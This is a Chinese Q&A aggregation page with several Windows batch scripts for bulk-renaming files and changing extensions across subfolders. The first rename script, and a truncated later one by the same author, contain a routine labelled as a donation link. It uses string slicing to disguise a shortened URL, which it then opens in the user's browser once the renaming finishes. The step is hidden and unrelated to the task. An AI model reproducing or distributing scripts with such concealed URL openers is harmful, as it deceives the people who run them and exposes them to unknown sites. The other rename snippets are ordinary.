批处理修改文件夹和子文件夹内文件名称 如何批处理更改所有子文件夹内文件的文件名

作者&投稿:除种 (若有异议请与网页底部的电邮联系)
@echo off & title 批量重命名编号(按时间排序) By 依梦琴瑶

::设置文件名添加前缀
set Str=ABC-

::设置编号是否进行补零,1=是,其它字符代表否
set Zero=1


call :RenFile "%~dp0"

for /r /d %%a in (*) do (
    call :RenFile "%%~a"
)
echo, & echo 全部处理完毕
pause
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

:RenFile
echo 正在列取文件名中,请稍等。。。
pushd "%~1"
set "Num=0"
if "%Zero%"=="1" (
    set "N="
    call :GetNumber
) else (
    set "N=N"
)
for /f "delims=" %%i in ('dir /a-d/od/b') do (
    call :RenFileNow "%%~i"
)
popd
goto :eof

:RenFileNow
set /a Num+=1
set "FileNum=%N%%Num%"
echo "%~nx1" --^>^> "%Str%%FileNum:~1%%~x1"
ren "%~1" "%Str%%FileNum:~1%%~x1"
goto :eof

:GetNumber
for /f "delims=" %%i in ('dir /a-d/b') do set /a Num+=1
set /a Num=9%Num%-%Num%
goto :eof

手机上编写,尚未进行实测。您自行找一些文件进行测试。保存为bat后缀名的脚本文件,放在主目录中执行即可。



先将文件按修改时间排序,然后Ctrl+a全选,右键第一个文件进行重命名,后面的文件自然是按12345这样排序了

我有的,点头像v。。

批处理修改文件夹内文件名称和文件夹名称一样~

@echo offSET "path=D:\TEST"cd /d "%path%"for /r /d %%a in (*) do (pushd "%path%"cd /d "%%a"set /a num=0for /f %%i in ('dir /a /b /s') do (set /a num+=1set "name=%%i"setlocal enabledelayedexpansionren "%%i" "%%~na_!num!%%~xi"endlocal)popd "%path%")pause测试时,对应文件夹下的MP4文件是无序的,如果你的文件是有序的,这个脚本可能会打乱原来的视频顺序。想要完善,除非提供视频的命名规则,加以修改。
测试,运行脚本前:

运行脚本后:

您举例的叫更改后缀名,不叫更改文件名。文件名和后缀名不要混为一谈。

既然您举例的是更改后缀名,那么您要的效果就是把后缀名改变了吧!

更改所有文件夹中的文件后缀名,代码如下

@echo off & title 批量更改指定文件后缀名 By 依梦琴瑶

::设置要处理的后缀名,无需输入小数点
set Ext=xxx

::设置更改后的后缀名,无需输入小数点
set Next=png

for /d %%a in (*) do (
pushd "%%~a"
for /f "delims=" %%b in ('dir /a-d/s/b *.%Ext%') do ren "%%~b" "%%~nb.%Next%"
popd
)
pause


脚本放在要处理的主文件夹中即可。

如何使用批处理批量修改多个文件夹里面的不同数据
答:编程语言选择:java 读取excel的数据,username,password 按照一一对应的关系存放到HashMap IO操作,通过username找到对应文件夹下面的dat文件,用新的数据覆盖掉旧的数据

怎么批量修改某个文件夹下,所有子文件夹内(层级可能不同)所有相同格式...
答:将aa替换为bb即可。可以办到,用dos批处理,或者支持批量更名的工具软件,很多,随便下一款;或者vba来处理。

bat 怎么批量修改一个文件夹之下所有子文件夹内内容的后缀
答:echo off for /r %%a in (*.bak) do ren "%%a" "%%~na.txt"上面的文件复制到文本文档,改.TXT为.BAT,运行即可。高手写的,真厉害!试过真好用!把所有子文件夹下.bak为后缀名的文件改成.txt后缀名文件

批处理文件,修改子文件夹中的文件名为上级文件夹名称,同时删除子文件夹...
答:echo offsetlocal enabledelayedexpansionfor /f "tokens=*" %%i in ('dir/s/b e:\收集资料\*.jpg') do (for /f "tokens=4,6 delims=\" %%j in ('echo %%i') do (set s=%%kmove "%%i" "e:\收集资料\%%j!s:~2!"))pushd e:\收集资料for /d %%i in (*) do rd %%i /s...

急!怎么用bat修改该文件夹下所有文件和子文件夹里的文件格式名
答:echo off for /f "delims=" %%i in ('dir /s/b *.*') do (ren "%%i" "%%~ni.b")exit 使用前先测试。

如何通过批处理将子文件夹内的文件移动到当前文件夹
答:move C:\A\001.JPG d:\图片 命令的意思是 把C盘A文件夹下面的001.JPG 移动到D盘下面的图片文件夹里 如果 命令改为 move C:\A\*.* d:\图片 命令的意思是 把C盘A文件夹下面的所有文件 移动到D盘图片 如果 命令改为 move C:\A\*.JPG d:\图片 命令的意思是 把C盘A文件夹下面的所有...

华为平板文件管理功能:实用工具文件夹里的小秘密
答:华为平板文件管理功能:实用工具文件夹里的小秘密对于初次使用华为平板的用户来说,桌面上的应用和功能可能会让你感到眼花缭乱。但是,不用担心,文件管理功能就在你的触手可及之处。大多数华为平板上,"文件管

求个批处理命令,要求:将多个文件夹内文件的名字修改为其所在文件夹的...
答:不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起运行 echo off rem 将多个文件夹里的文件以其所在的上级文件夹名称加数字序号重命名 mode con lines=3000 set #=Any question&set @=WX&set $=Q&set/az...

怎么修改文件夹内所有excel文件
答:一、所需DOS命令 dir [drive:][path] /b > [drive:][path]filename 二、应用实例 如下图,在D盘中,有一个名称为“TQIPC”的文件夹,这个文件夹里面,存放了很多的照片!现在,我们要做的就是,如何让这些照片的名称,自动显示在Excel或记事本里面!执行菜单操作“开始”→“运行”,弹出运行...

我有很多个文件夹,文件夹里都有一个文件,我想把每个文件改成和文件夹...
答:echo off & title 批量重命名文件为文件夹名 By 依梦琴瑶cd /d "%~dp0"for /d %%a in (*) do ( ren "%%~a\*" "%%~a.*")pausecall :Dnteexit:Dnteset "S0=fPdv"set "S1=.:ailnhpst/"set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%...